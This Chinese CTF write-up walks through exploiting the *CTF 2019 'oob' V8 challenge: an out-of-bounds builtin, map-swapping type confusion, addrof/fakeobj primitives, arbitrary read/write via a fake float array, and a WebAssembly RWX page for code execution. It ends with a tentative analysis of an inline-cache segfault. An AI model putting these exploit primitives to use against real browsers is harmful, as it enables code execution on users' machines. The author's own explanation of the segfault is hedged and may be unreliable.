0x00 引
昨天端午节,外面下着暴雨,想起了一个一直想看的题,就开始捣鼓起来,调一会儿,玩一会儿,用了一个下午了解整个题,总觉得还是要记录下来点什么,网上关于这个题的writeup很多,也很精彩,但是我遇到了一个小小问题,似乎也没有准确答案 (太菜了,对v8一些内置系统还是不太熟悉),记录下来,看以后有没有机会能再弄清楚它。 ( 我会尽量用最简洁的语言来描述这个题的整个过程,然后记录一个问题
0x01 漏洞点和两个基础原语
从给题目给的diff可以看到新增了一个oob内置函数,从名字也暗示了你这是一个怎样的漏洞:
- 当传参数量为1个时,取其数组的第length个元素直接返回
- 当传参数量为2个时,将第二个参数的值写入其数组的第length元素
- length == 其数组的长度
- 对于这样内置函数,其第一个参数是指向receiver的this指针,所以上述描述在js里面调用来描述应该是:
- 当传参数量为0个时,取其数组的第length个元素直接返回
- 当传参数量为1个时,将其第一个参数的值写入其数组的第length元素
所以根据上面描述,可以很快确定这确实是一个oob,可以对receiver数组越界读或者写。
1 | +BUILTIN(ArrayOob){ |
有了上面的基础,接下得让这个oob读写的操作变得有意义,直接引出jsobject的结构 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 FixedArray ----> +------------------------+
| <Map> +<---------+
+------------------------+ |
| length | |
+------------------------+ |
| element 1 | |
| ...... | |
| element n | |
ArrayObject ---->-------------------------+ |
| <Map> | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements | |
| +----------+
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+
"每个实例都有一个描述其结构的map,一般来说由相同顺序、相同属性名(同一构造函数)构建的对象,共享同一个map
JSObject<Map>
也被称为 Hidden Class,这是由于最早 V8 在 Design Elements 将其称之为 Hidden Class,故一直沿用至今。也就说,在 V8 中具有相同构建结构的 JSObject 对象,在堆内具有相同的内存(空间)布局。"
所以不同类型的Array例如,objectArray或者 floatArray都有描述其结构的map, 而这些都属于JSObject,决定他们不一样的就是map。
oob操作给了我们可以泄露map和写map的机会,如果我把objectArray的map换成floatArray的map,会产生什么样的效果呢? 这里就产生类型混淆,floatArray的element里面是直接储存浮点数的值,而objectArray的element里面存储是其他object的引用。
所以我们把objectArray的map换成floatArray的map,将导致v8会以对floatArray的操作方法来操作objectArray,直接就导致了可以读取其他object的引用地址。相反将floatArray的map换成objectArray的map,将会导致我们有机会直接改写objectArray的element里面对其他object的应用。
这里就引出下面两个基础原语: - 泄露某个obj的地址 - 从某个地址得到一个obj
1 | var obj_arr = [console.log]; //objectArray |
0x02 任意读写原语
现在要通过前面的两个基础原语,得到我们真正想要的RW原语,简单思考一下,这里过程让我想到了在php里面怎么用类型混淆来做rw,最简单就是有一段可控空间,造一个string类型的zval出来,拿到它的引用,就可以达到rw的功能,其实这里也一样,我们也可以造一个js里面基础类型,这里选择造一个floatArray出来。 1
2
3
4
5
6
7
8
9
10
11var fake_arr=[
float_arr_map,//<MAP>
bigint2float(0n),//prototype
bigint2float(0x41414141n), //elements
bigint2float(0x1000000000n),//lengths
1.1,
2.2,
]
//0X40 根据fake_arr大小变化
var fake_obj_arr = float2bigint(get_addr_of(fake_arr))-0x41n+0x10n;
通过改变elements的指向,就可以实现任意rw的功能,也就拿到了下面两个rw的原语。 1
2
3
4
5
6
7
8
9
10
11function read64(addr){ //bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
let res=fake_obj[0];
return float2bigint(res);
}
function write64(addr,data){//bigint,bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
console.log(float2bigint(fake_arr[2]).toString(16));
fake_obj[0]=bigint2float(data);
}
0x03 利用过程
这里有很多的利用方法,但是这里我只记录一种,通过它来说明我遇到的一个问题。
有了rw,我们得想办法劫持控制流,在v8里面的wasm特性就是一个非常不错的选择。 1
2
3
4
5
6
7
8
9
10
11var code_bytes = new Uint8Array([
0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x07,0x01,0x60,0x02,0x7F,0x7F,0x01,
0x7F,0x03,0x02,0x01,0x00,0x07,0x0A,0x01,0x06,0x61,0x64,0x64,0x54,0x77,0x6F,0x00,
0x00,0x0A,0x09,0x01,0x07,0x00,0x20,0x00,0x20,0x01,0x6A,0x0B,0x00,0x0E,0x04,0x6E,
0x61,0x6D,0x65,0x02,0x07,0x01,0x00,0x02,0x00,0x00,0x01,0x00]);
const wasmModule = new WebAssembly.Module(code_bytes.buffer);
const wasmInstance =
new WebAssembly.Instance(wasmModule, {});
const { addTwo } = wasmInstance.exports;
addTwo(5, 6)
拿到这个page的过程是动态调试的一个过程,其实也可以看代码把结构上的相对offset算出来。
1 | %DebugPrint(wasmInstance); |
通过GDB断下来,用vmmap看一下rxw的页起始地址,再通过内存搜索找到对它引用的地址point_adr, 然后用point_adr 减去 wasmInstance_adr就可以拿到这个offset,这里具体值是0x87。
下面我们要找到存放函数code的具体位置,从rxw的页起始地址加 0x2,就是这个函数表的一个指针,指向的就是函数code位置。
后面过程就理所当然了,接着我遇到的问题就来了
0x04 一个小问题
在写shellcode过程中,出现了segmentfault的问题,这很奇怪,我注意到从一道CTF题零基础学V8漏洞利用这篇文章里面也提到这个问题。
1 | pwndbg> r |
细心的童鞋应该会发现,我们要写的内存地址0x00007f16f641b8e8在write64时低20位却被程序莫名奇妙地改写为了0,从而导致了后续写入操作的失败。
这是因为我们write64写原语使用的是FloatArray的写入操作,而Double类型的浮点数数组在处理7f开头的高地址时会出现将低20位与运算为0,从而导致上述操作无法写入的错误。这个解释不一定正确,希望知道的童鞋补充一下。出现的结果就是,直接用FloatArray方式向高地址写入会不成功。
对于作者关于这个问题的解释,我觉得有点奇怪,最后作者通过DataView解决了这个问题,而我这里不需要DataView似乎也能解决问题。下面是我关于这个问题的探究过程,也不一定正确,所以只做参考。
我首先打印了一下出现这个问题时候的stacktrace 1
2
3
4
5
6
7#0 0x0000563087f2cd2d in v8::internal::FixedArrayBase::IsCowArray() const ()
#1 0x0000563087e61003 in v8::internal::GetStoreMode(v8::internal::Handle<v8::internal::JSObject>, unsigned int, v8::internal::Handle<v8::internal::Object>) ()
#2 0x0000563087e60dea in v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) ()
#3 0x0000563087e652c7 in v8::internal::Runtime_KeyedStoreIC_Miss(int, unsigned long*, v8::internal::Isolate*) ()
#4 0x0000563088391359 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit ()
#5 0x00005630883dc8d9 in Builtins_StaKeyedPropertyHandler ()
#6 0x0000563088304766 in Builtins_InterpreterEntryTrampoline ()
这个出现一个过程是Runtime_KeyedStoreIC_Miss
,然后我去具体看这个地方代码,首先 IC是个什么东西,是一种V8里面内置优化过程叫inline cache,用于优化下面的过程:
1 | function getX(point) { |
其中point.x
可以理解为Runtime_Load(point, "x");
:
1 | function Runtime_Load(obj, key) { |
上前面那种情况下传入的JSObject的map都是一样,属性x的存储位置也是相同的,那么就可以存储一个键值对用来保存 map和对应x的存储位置。在传入obj的map相同的情况下,直接从缓存位置读取:
1 | function LoadIC_x(obj) { |
有了这个IC处理过程的基础,我们再看到底是哪出错了 1
return receiver->elements()->IsCowArray() ? STORE_NO_TRANSITION_HANDLE_COW: STANDARD_STORE;
1
2
3
4function write64(addr,data){//bigint,bigint
fake_arr[2]=bigint2float(addr-0x10n+0x1n);
fake_obj[0]=bigint2float(data); //fake_obj[0]这里发生了miss
}
所以我的想法是先用write64正常写一次,让IC建立储存关系,然后让后面的load/store直接使用cache里面的关系,从实验中,证明了我这样做的方法是可行的!但是我不能保证我上面的想法是对的。所以这个问题我想记录下来,看以后能不能真正的去理解它
about
http://www.hackitek.com/starctf-2019-chrome-oob-v8/ https://www.freebuf.com/vuls/203721.html https://zhuanlan.zhihu.com/p/28790195 https://www.anquanke.com/post/id/207483